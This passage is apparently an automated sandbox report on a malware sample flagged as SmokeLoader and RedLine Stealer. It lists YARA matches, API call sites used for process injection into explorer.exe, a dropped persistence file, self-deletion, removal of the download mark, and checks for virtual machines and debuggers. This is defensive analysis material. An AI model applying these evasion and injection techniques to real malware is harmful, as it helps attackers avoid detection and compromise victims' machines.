Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000006.00000002.2485910630.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2485978515.0000000002CB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2269955686.0000000002CD1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2269686012.0000000002BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000006.00000002.2485910630.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000006.00000002.2485885145.0000000002C40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2270182856.0000000002D02000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2269300413.0000000002BB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000006.00000002.2486160796.0000000002EC3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000006.00000002.2485978515.0000000002CB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.2269955686.0000000002CD1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.2269686012.0000000002BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR	Matched rule: Semi-Auto-generated - file ironshell.php.txt Author: Neo23x0 Yara BRG + customization by Stefan -dfate- Molls

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401553
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_00403005 RtlCreateUserThread,NtTerminateProcess,	0_2_00403005
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_00401561 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401561
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_0040156B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040156B
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_0040156F NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040156F
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_00401729 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,EntryPoint,	0_2_00401729
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_004023E5 NtQuerySystemInformation,	0_2_004023E5
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_00401583 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401583
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_00401587 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401587
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_004026A0 NtEnumerateKey,	0_2_004026A0
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401553
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_00403005 RtlCreateUserThread,NtTerminateProcess,	6_2_00403005
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_00401561 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401561
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_0040156B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_0040156B
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_0040156F NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_0040156F
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_00401729 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,EntryPoint,	6_2_00401729
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_004023E5 NtQuerySystemInformation,	6_2_004023E5
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_00401583 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401583
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_00401587 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401587
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_004026A0 NtEnumerateKey,	6_2_004026A0

Source: C:\Windows\explorer.exe	Code function: 2_2_02F22968		2_2_02F22968
Source: C:\Windows\explorer.exe	Code function: 2_2_08752968		2_2_08752968

Source: vwaoMjcyAw.exe, 00000000.00000000.2199081111.0000000002AFC000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSpace2 vs vwaoMjcyAw.exe
Source: vwaoMjcyAw.exe	Binary or memory string: OriginalFilenameSpace2 vs vwaoMjcyAw.exe

Source: vwaoMjcyAw.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000006.00000002.2485910630.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000006.00000002.2485885145.0000000002C40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2270182856.0000000002D02000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2269300413.0000000002BB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000006.00000002.2486160796.0000000002EC3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000006.00000002.2485978515.0000000002CB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.2269955686.0000000002CD1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.2269686012.0000000002BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR	Matched rule: ironshell_php author = Neo23x0 Yara BRG + customization by Stefan -dfate- Molls, description = Semi-Auto-generated - file ironshell.php.txt, hash = 8bfa2eeb8a3ff6afc619258e39fded56

Source: vwaoMjcyAw.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: ifvwgru.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@2/2@2/1

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe

Code function: 0_2_02D095D9 CreateToolhelp32Snapshot,Module32First,

0_2_02D095D9

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\ifvwgru

Jump to behavior

Source: vwaoMjcyAw.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: vwaoMjcyAw.exe	ReversingLabs: Detection: 73%
Source: vwaoMjcyAw.exe	Virustotal: Detection: 76%

Source: unknown	Process created: C:\Users\user\Desktop\vwaoMjcyAw.exe "C:\Users\user\Desktop\vwaoMjcyAw.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ifvwgru C:\Users\user\AppData\Roaming\ifvwgru

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.shell.broker.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	Section loaded: msvcr100.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{50CE75BC-766C-4136-BF5E-9197AA23569E}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: vwaoMjcyAw.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\dugo_caves\betuw sib.pdb source: vwaoMjcyAw.exe, ifvwgru.2.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Unpacked PE file: 0.2.vwaoMjcyAw.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\ifvwgru	Unpacked PE file: 6.2.ifvwgru.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_00403253 push eax; ret	0_2_0040332D
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_00401C64 push es; retf	0_2_00401C83
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_0040332A push eax; ret	0_2_0040332D
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_00402F91 push 60B44389h; retf	0_2_00402FAB
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_02BB2FF8 push 60B44389h; retf	0_2_02BB3012
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_02BB1CCB push es; retf	0_2_02BB1CEA
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_00403253 push eax; ret	6_2_0040332D
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_00401C64 push es; retf	6_2_00401C83
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_0040332A push eax; ret	6_2_0040332D
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_00402F91 push 60B44389h; retf	6_2_00402FAB
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_02C41CCB push es; retf	6_2_02C41CEA
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_02C42FF8 push 60B44389h; retf	6_2_02C43012

Source: vwaoMjcyAw.exe	Static PE information: section name: .text entropy: 7.821971719130902
Source: ifvwgru.2.dr	Static PE information: section name: .text entropy: 7.821971719130902

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\ifvwgru

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\ifvwgru

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\vwaomjcyaw.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\ifvwgru:Zone.Identifier read attributes | delete

Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	API/Special instruction interceptor: Address: 7FFDB442E814
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	API/Special instruction interceptor: Address: 7FFDB442D584
Source: C:\Users\user\AppData\Roaming\ifvwgru	API/Special instruction interceptor: Address: 7FFDB442E814
Source: C:\Users\user\AppData\Roaming\ifvwgru	API/Special instruction interceptor: Address: 7FFDB442D584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: ifvwgru, 00000006.00000002.2486092912.0000000002EBE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOKA

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 457	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 462	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 885	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 868	Jump to behavior

Source: C:\Windows\explorer.exe TID: 6504	Thread sleep count: 457 > 30			Jump to behavior
Source: C:\Windows\explorer.exe TID: 3880	Thread sleep count: 462 > 30			Jump to behavior

Source: explorer.exe, 00000002.00000000.2256911237.000000000C354000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 00000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&B
Source: explorer.exe, 00000002.00000002.3451553162.000000000C354000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ?\#CdRom&Ven_NECVMWar&Prod_VMware_
Source: explorer.exe, 00000002.00000000.2254640839.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000962B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en-US\msmouse.inf_locv
Source: explorer.exe, 00000002.00000000.2255032281.00000000097F3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000002.00000002.3447903568.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000973C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWws
Source: explorer.exe, 00000002.00000000.2256911237.000000000C354000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.2255032281.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}RoamingCom
Source: explorer.exe, 00000002.00000000.2254640839.0000000009605000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: explorer.exe, 00000002.00000000.2251375594.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.2251375594.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000W
Source: explorer.exe, 00000002.00000002.3447903568.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000978C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000002.00000000.2255032281.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}lnkramW6
Source: explorer.exe, 00000002.00000000.2251375594.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000002.00000000.2251375594.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.2255032281.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_02BB0D90 mov eax, dword ptr fs:[00000030h]	0_2_02BB0D90
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_02BB092B mov eax, dword ptr fs:[00000030h]	0_2_02BB092B
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Code function: 0_2_02D08EB6 push dword ptr fs:[00000030h]	0_2_02D08EB6
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_02C40D90 mov eax, dword ptr fs:[00000030h]	6_2_02C40D90
